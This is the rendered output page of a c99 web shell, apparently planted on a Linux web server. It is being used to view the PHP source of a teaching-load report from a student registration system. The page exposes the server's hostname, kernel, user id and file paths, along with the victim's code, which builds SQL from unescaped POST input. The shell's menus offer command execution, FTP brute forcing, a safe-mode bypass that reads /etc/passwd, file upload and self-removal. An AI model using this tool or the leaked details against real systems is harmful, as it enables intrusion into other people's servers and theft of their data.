!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis/admin_/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     repLoadExcel.php (12.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');

include_once 
"../global0.php";
include_once 
"../class/clsClass.php";
include_once 
"../class/clsSysStudentYearDes.php";
include_once 
"../class/clsrg_SysStudyType.php";
include_once 
"../class/clsrg_CopyTimeTable.php";
include_once 
"../class/clsOfficer.php";
include_once 
"../class/clsCourse.php";
include_once 
"../class/clsrg_HrPerUnit.php";

$acadYear = (! isset($_POST['acadYear'])? "" $_POST['acadYear']);
$semester = (! isset($_POST['semester'])? "" $_POST['semester']);
$studentYear = (! isset($_POST['studentYear'])? "" $_POST['studentYear']);
$view = (! isset($_POST['view'])? "" $_POST['view']);

$conn = new Connection();

$oCl = new Class1();
$oSy = new SysStudentYearDes();
$oSt = new rg_SysStudyType();
$oCt1 = new rg_CopyTimeTable();
$oCt2 = new rg_CopyTimeTable();
$oOf = new Officer();
$oCo = new Course();
$oHu = new rg_HrPerUnit();

set_time_limit(0);

if (
$view) {
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<table width="100%" align="center">
    <tr>
        <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><b>รายงานภาระงานสอน
        <?php echo ($semester) ? "ภาคการศึกษา ".$semester "";?>
        ปีการศึกษา <?php echo $acadYear;?>
        <?php echo ($studentYear) ? "ชั้นปี ".$studentYear "ทุกชั้นปี";?></b></font></td>
    </tr>
    <tr>
        <td height="22"></td>
    </tr>
<?php
    $cndStY 
= ($studentYear) ? " and coSyId='$studentYear'" "";
    
$cndSe = ($semester) ? " and coTmId='$semester'" "";
    
    if(
$view == 't') {
?>
    <tr>
        <td><table width="100%" border="1">
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                <td rowspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>อาจารย์ผู้สอน</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
?>
                <td colspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b><?php echo $oSt->sstName;?></b></font></td>
<?php
                
}
?>
                <td colspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>รวม</b></font></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
<?php
                
for($i=0$i<=$oSt->NumRow(); $i++) {
?>
                <td width="4%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ชม.</b></font></td>
                <td width="6%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ภาระ</b></font></td>
<?php
                
}
?>
            </tr>
<?php
            $i 
0;
            
$oCt1->RSrg_CopyTimeTableByAcYAndStYAndSeGroupOfId($acadYear$cndStY$cndSe);
            while(
$oCt1->GetRecord()) {
                
$totalOfUnit 0;
                
                
$oOf->SearchByKey($oCt1->ctOfId);
                
$oOf->GetRecord();
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                <td colspan="15" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo $oOf->officerName.' '.$oOf->officerSurname;?></b></font></td>
            </tr>
<?php
                $oCl
->RSClassByAcYAndStYAndSeAndOfIdGroupCoId($acadYear$cndStY$cndSe$oCt1->ctOfId);
                while(
$oCl->GetRecord()) {
                    
$totalCoUnit 0;
                    
                    
$oCo->SearchByKey($oCl->courseId);
                    
$oCo->GetRecord();
?>
            <tr>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oCo->courseCode.' '.$oCo->courseName.' '.$oCo->courseUnit;?></font></td>
<?php
                    $oSt
->RSrg_SysStudyType();
                    while(
$oSt->GetRecord()) {
                        
$sumCoSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndCoIdAndOfIdAndSstId($acadYear$cndStY$semester$oCl->courseId$oCt1->ctOfId$oSt->sstId);
                        
$totalCoUnit += number_format($sumCoSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoIdAndOfIdAndSstId($acadYear$cndStY$cndSe$oCl->courseId$oCt1->ctOfId$oSt->sstId), 0, -3);?>")</font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo number_format($sumCoSstUnit3);?></font></td>
<?php
                    
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoIdAndOfId($acadYear$cndStY$cndSe$oCl->courseId$oCt1->ctOfId), 0, -3);?>")</font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo number_format($totalCoUnit3);?></font></td>
            </tr>
<?php
                
}
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_5"];?>">
                <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รวม</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
                    
$sumOfSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndOfIdAndSstId($acadYear$cndStY$semester$oCt1->ctOfId$oSt->sstId);
                    
$totalOfUnit += number_format($sumOfSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndOfIdAndSstId($acadYear$cndStY$cndSe$oCt1->ctOfId$oSt->sstId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo number_format($sumOfSstUnit3);?></b></font></td>
<?php
                
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndOfId($acadYear$cndStY$cndSe$oCt1->ctOfId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo number_format($totalOfUnit3);?></b></font></td>
            </tr>
<?php
                $i
++;
            }
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>รวม</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
                    
$sumSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndSstId($acadYear$cndStY$semester$oSt->sstId);
                    
$totalUnit += number_format($sumSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndSstId($acadYear$cndStY$cndSe$oSt->sstId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b><?php echo number_format($sumSstUnit3);?></b></font></td>
<?php
                
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSe($acadYear$cndStY$cndSe), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b><?php echo number_format($totalUnit3);?></b></font></td>
            </tr>
        </table></td>
    </tr>
<?php
    
}
    else if(
$view == 's') {
?>
    <tr>
        <td><table width="100%" border="1">
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                <td rowspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>รายวิชา</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
?>
                <td colspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b><?php echo $oSt->sstName;?></b></font></td>
<?php
                
}
?>
                <td colspan="2" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>รวม</b></font></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
<?php
                
for($i=0$i<=$oSt->NumRow(); $i++) {
?>
                <td width="4%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ชม.</b></font></td>
                <td width="6%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><b>ภาระ</b></font></td>
<?php
                
}
?>
            </tr>
<?php
            $i 
0;
            
$oCl->RSClassByAcYAndStYAndSeGroupCoId($acadYear$cndStY$cndSe);
            while(
$oCl->GetRecord()) {
                
$totalCoUnit 0;
                
                
$oCo->SearchByKey($oCl->courseId);
                
$oCo->GetRecord();
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                <td colspan="15" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo $oCo->courseCode.' '.$oCo->courseName.' '.$oCo->courseUnit;?></b></font></td>
            </tr>
<?php
                $oCt1
->RSrg_CopyTimeTableByAcYAndStYAndSeAndCoIdGroupOfId($acadYear$cndStY$cndSe$oCl->courseId);
                while(
$oCt1->GetRecord()) {
                    
$totalOfUnit 0;
                    
                    
$oOf->SearchByKey($oCt1->ctOfId);
                    
$oOf->GetRecord();
?>
            <tr>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $oOf->officerName.' '.$oOf->officerSurname;?></font></td>
<?php
                    $oSt
->RSrg_SysStudyType();
                    while(
$oSt->GetRecord()) {
                        
$sumOfSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndCoIdAndOfIdAndSstId($acadYear$cndStY$semester$oCl->courseId$oCt1->ctOfId$oSt->sstId);
                        
$totalOfUnit += number_format($sumOfSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoIdAndOfIdAndSstId($acadYear$cndStY$cndSe$oCl->courseId$oCt1->ctOfId$oSt->sstId), 0, -3);?>")</font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo number_format($sumOfSstUnit3);?></font></td>
<?php
                    
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoIdAndOfId($acadYear$cndStY$cndSe$oCl->courseId$oCt1->ctOfId), 0, -3);?>")</font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo number_format($totalOfUnit3);?></font></td>
            </tr>
<?php
                
}
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_5"];?>">
                <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รวม</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
                    
$sumCoSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndCoIdAndSstId($acadYear$cndStY$semester$oCl->courseId$oSt->sstId);
                    
$totalCoUnit += number_format($sumCoSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoIdAndSstId($acadYear$cndStY$cndSe$oCl->courseId$oSt->sstId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo number_format($sumCoSstUnit3);?></b></font></td>
<?php
                
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndCoId($acadYear$cndStY$cndSe$oCl->courseId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><?php echo number_format($totalCoUnit3);?></b></font></td>
            </tr>
<?php
                $i
++;
            }
?>
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>รวม</b></font></td>
<?php
                $oSt
->RSrg_SysStudyType();
                while(
$oSt->GetRecord()) {
                    
$sumSstUnit $oCt2->GetUnitByAcYAndStYAndSeAndSstId($acadYear$cndStY$semester$oSt->sstId);
                    
$totalUnit += number_format($sumSstUnit3);
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSeAndSstId($acadYear$cndStY$cndSe$oSt->sstId), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b><?php echo number_format($sumSstUnit3);?></b></font></td>
<?php
                
}
?>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b>=T("<?php echo substr($oCt2->GetHrByAcYAndStYAndSe($acadYear$cndStY$cndSe), 0, -3);?>")</b></font></td>
                <td align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_1'];?>"><b><?php echo number_format($totalUnit3);?></b></font></td>
            </tr>
        </table></td>
    </tr>
<?php
    
}
?>
</table>
<?php
}

set_time_limit(30);

$oCl->Destroy();
$oSy->Destroy();
$oSt->Destroy();
$oCt1->Destroy();
$oCt2->Destroy();
$oOf->Destroy();
$oCo->Destroy();
$conn->Disconnect();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0253 ]--